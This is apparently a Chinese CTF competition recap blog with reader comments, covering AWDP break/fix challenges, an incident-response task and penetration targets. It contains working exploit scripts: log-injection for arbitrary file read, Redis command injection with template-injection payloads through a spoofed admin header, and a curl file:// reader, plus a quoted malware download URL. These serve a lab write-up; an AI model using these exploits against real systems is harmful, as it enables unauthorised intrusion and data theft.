趁着记忆还残留部分,记录寄录
全天8小时的比赛,全程都可以用我是NT
总结概括
AWDP
死命修修不对,服务异常拉满,耻辱下播,记得去年半决赛就是修不好,但是题少,倒也影响不大
ccforum | 2025/03/16 21:16:00
break
- 打任意文件读,主要关注的点在于写日志和读日志
# config.php
function encode_uname($username)
{
return base64_encode($username);
}
function log_action($username, $action, $succ, $additional = '')
{
$log_id = uniqid();
$e_username = encode_uname($username);
$log_line = sprintf(
"%s,%s,%s,%d,%s\n",
$log_id,
$e_username,
$action,
$succ,
$additional
);
file_put_contents('./action.log', $log_line, FILE_APPEND);
}
# admin.php
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);
$banned_users = [];
$failed_logs = [];
foreach ($log_lines as $line) {
if (empty($line)) {
continue;
}
$parts = explode(',', $line);
if (count($parts) < 5) {
continue;
}
$encoded_user = $parts[1];
$action = $parts[2];
$success = (int) $parts[3];
$additional_info = $parts[4];
if ($action === 'record_banned') {
if ($success === 1) {
$banned_users[$encoded_user][] = $additional_info;
} else {
$failed_logs[] = $additional_info;
}
}
}
$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
$banned_dir = "./banned/{$encoded_user}";
if (file_exists($banned_dir)) {
$files = scandir($banned_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
$banned_contents[$username][] = $content;
}
}
}
}
- 在构造
banned
日志路径时,拼接了base64后的username,然后创建文件夹,带有时间的txt文件
- 读取日志时,以换行分割,再每行以英文逗号分隔,然后将username从中取出拼接路径读取
banned_dir
下所有文件
- 希望最终控制读文件的路径,达到任意文件读,经过简单分析可知无法通过干扰分割逗号时控制
encoded_user
,尝试干扰分割换行;关注record_banned
函数,写入日志行时,只有进入!$created
分支才会有可控参数username
被写入
- 那么需要让
$created
为false
,即目录创建失败;mkdir()
不可创建多层目录,则可以通过构造包含/
的base64值使其失败,同时为拼接进log
的username
换行,则原username
还需包含换行符
- 注册即可注入日志
admin.php
弱口令admin/password
访问即可
from requests import Session
basic = "http://127.0.0.1"
def register(sess: Session):
data = {
"username": "???\n,../,record_banned,1,",
"password": "123456789012",
}
resp = sess.post(basic + "/register.php", data=data)
def login(sess: Session):
data = {
"username": "???\n,../,record_banned,1,",
"password": "123456789012",
}
resp = sess.post(basic + "/login.php", data=data)
def post(sess: Session):
data = {
"title": "敏感词",
"content": "tset",
}
resp = sess.post(basic + "/post.php", data=data)
if __name__ == "__main__":
sess = Session()
register(sess)
login(sess)
post(sess)
fix
- 主要问题出在目录拼接,则将
base64
替换为md5
即可
rng-assistant | 2025/03/17 12:50:00
break
- 程序主要功能在于通过TCP和别的服务进行通信返回响应
- 可以注意到一个很明显有问题的功能,可以添加新的端口
- 再看环境中的redis,这不得连连,写个脚本
from requests import Session
basic = "http://ip:port"
def register(sess: Session):
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/register", json=data)
print(resp.text)
def login(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
}
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/login", json=data, headers=headers)
print(resp.text)
def add_port(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"model_id": "test",
"port": 6379
}
resp = sess.post(basic + "/admin/model_ports", json=data, headers=headers)
print(resp.text)
def ask(sess: Session, prompt: str):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"prompt": f"{prompt}\n",
"model_id": "test"
}
resp = sess.post(basic + "/admin/raw_ask", json=data, headers=headers)
print(resp.text)
if __name__ == '__main__':
session = Session()
register(session)
login(session)
add_port(session)
ask(session, "config set dir /tmp")
ask(session, "config set dbfilename math-v1.txt")
ask(session, "set x '{t.get_template.__globals__}'")
ask(session, "save ")
- 可以看到redis执行的很顺利,然后发现不对劲,原本想通过控制
model_id
拼接路径直接返回FLAG
,发现model_id
实际不可控
傻逼了,打缓存redis
服务为低权限,直接往/app/static/prompts/math-v1.txt
或crontab
写文件,系统权限不够,就很难绷,想想其他常见的redis
打法,感觉也就只有主从复制能打打了,但现在没有靶机环境,也不知道通不通
from requests import Session
basic = "http://ip:port"
def register(sess: Session):
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/register", json=data)
print(resp.text)
def login(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
}
data = {
"username": "123",
"password": "123"
}
resp = sess.post(basic + "/login", json=data, headers=headers)
print(resp.text)
def add_port(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"model_id": "test",
"port": 6379
}
resp = sess.post(basic + "/admin/model_ports", json=data, headers=headers)
print(resp.text)
def ask(sess: Session, prompt: str):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"prompt": f"{prompt}\n",
"model_id": "test"
}
resp = sess.post(basic + "/admin/raw_ask", json=data, headers=headers)
print(resp.text)
def cache(sess: Session):
headers = {
"Content-Type": "application/json",
"X-User-Role": "admin",
"X-Secret": "210317a2ee916063014c57d879b9d3bc",
}
data = {
"question": "test",
"model_id": "math-v1"
}
resp = sess.post(basic + "/ask", json=data, headers=headers)
print(resp.text)
if __name__ == '__main__':
session = Session()
register(session)
login(session)
add_port(session)
cache(session)
ask(session, "set prompt:math-v1 '{t.get_template.__globals__}'")
cache(session)
fix
- 感觉把
redis
端口ban了就好
php-master | 2025/03/18 01:30:00
已经有题解了,看起来和web没什么关系,不写了
break
- 简单的文件上传服务,简单尝试之后发现几乎所有函数都用不了,查看
php.ini
,一眼望不到头的disable_functions
和disable_classes
- 通过对比,筛选还可使用的函数和类
['internal', 'error_reporting', 'preg_match', 'preg_match_all', 'curl_close', 'curl_copy_handle', 'curl_errno', 'curl_error', 'curl_escape', 'curl_unescape', 'curl_multi_setopt', 'curl_exec', 'curl_file_create', 'curl_getinfo', 'curl_init', 'curl_multi_add_handle', 'curl_multi_close', 'curl_multi_errno', 'curl_multi_exec', 'curl_multi_getcontent', 'curl_multi_info_read', 'curl_multi_init', 'curl_multi_remove_handle', 'curl_multi_select', 'curl_multi_strerror', 'curl_pause', 'curl_reset', 'curl_setopt_array', 'curl_setopt', 'curl_share_close', 'curl_share_errno', 'curl_share_init', 'curl_share_setopt', 'curl_share_strerror', 'curl_strerror', 'curl_version', 'mb_language', 'mb_internal_encoding', 'mb_http_input', 'mb_http_output', 'mb_detect_order', 'mb_substitute_character', 'mb_preferred_mime_name', 'mb_parse_str', 'mb_output_handler', 'mb_str_split', 'mb_strlen', 'mb_strpos', 'mb_strrpos', 'mb_stripos', 'mb_strripos', 'mb_strstr', 'mb_strrchr', 'mb_stristr', 'mb_strrichr', 'mb_substr_count', 'mb_substr', 'mb_strcut', 'mb_strwidth', 'mb_strimwidth', 'mb_convert_encoding', 'mb_convert_case', 'mb_strtoupper', 'mb_strtolower', 'mb_detect_encoding', 'mb_list_encodings', 'mb_encoding_aliases', 'mb_encode_mimeheader', 'mb_decode_mimeheader', 'mb_convert_kana', 'mb_convert_variables', 'mb_encode_numericentity', 'mb_decode_numericentity', 'mb_send_mail', 'mb_get_info', 'mb_check_encoding', 'mb_scrub', 'mb_ord', 'mb_chr', 'mb_regex_encoding', 'mb_ereg', 'mb_eregi', 'mb_ereg_replace', 'mb_eregi_replace', 'mb_ereg_replace_callback', 'mb_split', 'mb_ereg_match', 'mb_ereg_search', 'mb_ereg_search_pos', 'mb_ereg_search_regs', 'mb_ereg_search_init', 'mb_ereg_search_getregs', 'mb_ereg_search_getpos', 'mb_ereg_search_setpos', 'mb_regex_set_options', 'ob_start', 'ob_end_flush', 'ob_get_contents', 'sleep', 'move_uploaded_file', 'bin2hex', 'hex2bin', 'basename', 'ord', 'chr', 'strrev', 'str_repeat', 'str_pad', 'hexdec', 'dechex', 'pack', 'apache_lookup_uri', 'virtual', 'apache_request_headers', 'getallheaders', 'apache_response_headers', 'apache_note', 'apache_setenv', 'apache_getenv', 'apache_get_version', 'apache_get_modules', 'test1', 'test2', 'construct', 'allocate', 'overwrite', 'clear']
['Error', 'SQLite3', 'SQLite3Stmt', 'SQLite3Result', 'CurlHandle', 'CurlMultiHandle', 'CurlShareHandle', 'CURLFile', 'CURLStringFile']
/start.sh
#!/bin/bash
echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"
# DO NOT DELETE
service apache2 start
sleep infinity;
- 没办法,必须要RCE
root@e541313897cd:/var/www/html# ls -al /
total 980
drwxr-xr-x 1 root root 4096 Mar 18 14:54 .
drwxr-xr-x 1 root root 4096 Mar 18 14:54 ..
-rwxr-xr-x 1 root root 0 Mar 18 14:54 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 28 17:23 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 340 Mar 18 14:54 dev
drwxr-xr-x 1 root root 4096 Mar 18 14:54 etc
-r-------- 1 root root 16 Mar 18 14:54 flag
drwxr-xr-x 2 root root 4096 Sep 3 2022 home
drwxr-xr-x 1 root root 4096 Jun 13 2023 lib
drwxr-xr-x 1 root root 4096 Feb 28 17:23 lib64
drwxr-xr-x 2 root root 4096 Jun 12 2023 media
drwxr-xr-x 2 root root 4096 Jun 12 2023 mnt
drwxr-xr-x 2 root root 4096 Jun 12 2023 opt
dr-xr-xr-x 335 root root 0 Mar 18 14:54 proc
-rwsr-sr-x 1 root root 901144 Feb 28 18:15 readflag
drwx------ 1 root root 4096 Mar 18 14:57 root
drwxr-xr-x 1 root root 4096 Jun 13 2023 run
drwxr-xr-x 1 root root 4096 Feb 28 17:23 sbin
drwxr-xr-x 2 root root 4096 Jun 12 2023 srv
-rwsr-sr-x 1 root root 129 Feb 28 18:17 start.sh
dr-xr-xr-x 11 root root 0 Mar 18 14:54 sys
drwxrwxrwt 1 root root 4096 Mar 18 14:57 tmp
drwxr-xr-x 1 root root 4096 Jun 12 2023 usr
drwxr-xr-x 1 root root 4096 Jun 13 2023 var
- 看到
php.ini
文件最下方,加载一个extension
- 这下知道为什么是
web-pwn
了,应该归到pwn中,主要定义了6个函数
- pwn✌说,要地址,于是上帝创造了
read_file
,通过curl file协议(include()
)实现任意文件读,剩下怎么打pwn✌还没发话
<?php
function read_file($path) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file://".$path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$content = curl_exec($ch);
if ($content === false) {
throw new Error("read error: " . curl_error($ch));
}
curl_close($ch);
return $content;
}
try {
$fileContent = read_file("/proc/self/maps");
echo $fileContent;
} catch (Error $e) {
echo $e->getMessage();
}
fix
- 禁止上传php文件,
preg_match
ISW
NT指数:指明明可以简单解决但就是瞎操作导致的时间精力浪费
应急响应 | 2025/03/17 15:20:00
我以为我交的flag是 1 2 4的题解,实际上是 1 3 4的题解,主打一个过程全错,结果正确
flag1
- 给了ssh,题目描述要抓控制端
ip:port
,好,那么tcpdump
,欸,咱就是不喜欢-i any
,非要-i eth0
,好,网卡指定错了,将近四十分钟抓不到包,换-i eth1
,NT指数+1
tcpdump -i eth1 -A tcp
# flag{md5(192.168.57.203:4948)}
flag2
- 需要木马的md5,这个还行,NT+0.5,对提供的ISW附件进行字符串爆搜IP,发现存在这个字符串,观察一下上下文的字节,一个ELF
- 选择对检材进行取证,FTK挂载(为什么不用远程环境,原来是抓半天PID抓不到啊,那没事了,放弃
DiskGenius
读取,恢复被删除文件,然后就是漫长的翻找
- 由持久化,考虑自启动,在
/etc/systemd/system
中注意到两个被删除文件,这个service
同样可以在/run
中找到
被加载的内核模块即为远控,2025/03/17更新,并非远控,提交flag并不显示哪问对了,这个文件的md5应该是flag3
- 对这个内核模块进行逆向,查看字符串
- 可以发现一些
HIDE
值,查交叉引用
- 包含了对
process
,tcp
,udp
的隐藏设置,可以看到隐藏了三个systemd
相关的文件名
- 重新查看字符串,可以看到一个相关的路径
- 通过file可以确认该文件的存在
- 再分析分析,可以判断该内核模块的行为,下载木马,隐藏进程、文件,执行
- 应该是agent的下载链接,
wordpress
为木马分发站
192.168.57.207/wp_content/upload/2025/02/agent
- flag2应该为
systemd-agented
的md5
flag{bccad26b665ca175cd02aca2903d8b1e}
flag3
没找到,但是可以发现一个shell
脚本,为下载执行阶段,但并不是这个,至少我没提交成功,题目描述要求为定时任务程序(好像,忘了)
- 由上文,正确的持久化程序应该是那个内核模块
system-upgrade.ko
flag{78edba7cbd107eb6e3d2f90f5eca734e}
flag4
- 由上文得,远控原始名称为
flag{md5(.system_upgrade)}
# 记不清了,要么加点,要么不加点
flag5
神通广大,谁搁赛中在线分析呢?
要求提交远控通信加密密钥,给队内逆向手了,没拟出来,草草试了两个字符串,不对,逆向systemd-agentd
,怎么找到的不知道,只能说逆向手nb
flag{ThIS_1S_th3_S3cR3t_fl@g}
flag6
- 打远控分发站,内网有俩ip,分发站是个
wordpress
,题目描述中涉及到压缩包解密,在磁盘中翻到个加密压缩包,不知道是不是,浅猜一手,登录密码在马子里
flag7
- 打控制端
好像就7个吧
CCB2025
- 入口一个
xss
,跳过,不想看,也不会(
数据管理
- 入口一个
Shiro
,一个pwn,pwn的端口比较高6w多,一个简单的rop
,但是我没扫到那么高的端口,或者说开始扫了,扫一半不想扫了,NT指数+100;Shiro
,前端可以看到有个文件下载接口,实现任意文件读,通过读取/proc/self/cmdline
得到路径/home/webapp/ShiroProject-0.0.1-SNAPSHOT.jar
,里面手动设置了密钥,打Shiro反序化,RCE后suid
提权
- 但是,用工具的时候设置错了密钥,
doLogin
写成login
,导致痛失flag,NT指数+10000000000,后续咱也就不知道了
GitLab
flag1
- 首先一个
.git
泄露,GitHack
执行的时候报错,给修好了(为什么要把时间浪费在这种地方,NT指数+1),倒也能用,在.git/index
瞥见一个flag.php
,肯定有flag,回滚几次得到flag
flag2
- 登录的地方有很明显的
SQLI
,sqlmap启动
- 同时扫描端口是可以看到
110
端口为pop3服务
- 登录pop3拿flag
耻辱的一天就这样结束了,等到这个月西湖论剑结束,直接一个电脑格式化,远离CTF,道心破碎了
一队小登真不戳,也是决赛了🎅
仔细想想倒也是,很久不正经学安全了,这几个月的时间都在开发比赛平台,虽然也不知道究竟有没有正式投入使用的一天
以前会的东西也都生疏了,shiro又卡在工具使用,虽说不会Java,但原理倒也理解,路径设置错属实难以原谅;技术差
这次队里就一个web,渗透,一眼看过去awdp那么多题,渗透四个环境,脑子就乱糟糟的,这儿看看那看看,什么都没捞着;心态差
awdp达到一半就开始发冷,上半身止不住战栗,打字都不稳,脑子也不稳了;素质差
真是难难又绷绷得一天呢
师傅你这pop3直接登录就有flag吗?
师傅您好,麻烦问问 rng 这题具体是怎么 fix 的吗(/TДT)/
我几乎从头看到尾,试着过滤 6379 端口,但是死命修都不过 check
我记得我们天津赛区最后好像也是零解的,因此想看看师傅的 update.sh
非常感谢!
赛后复现的,我也不清楚具体怎么修,尝试break感觉只能打redis;如果利用点不在这儿我也不太清楚了
过滤\r\n不就好了 或者模板注入类似的 黑名单都可以。
师傅您好,这ccforum 在注册非法用户的时候 是如何利用的。rce还是文件读取,我注册了这个用户但是我去访问/admin.php 就只有被htmlspecialchars的敏感内容
不知道为什么不会出现action.log的内容
哦,我的锅,注册,登录,post,然后才能注actoin.log
师傅 这里成功在admin.php读取了代码 有啥后续的利用吗
没什么了吧,路径换到根目录直接读flag就好了
666啊师傅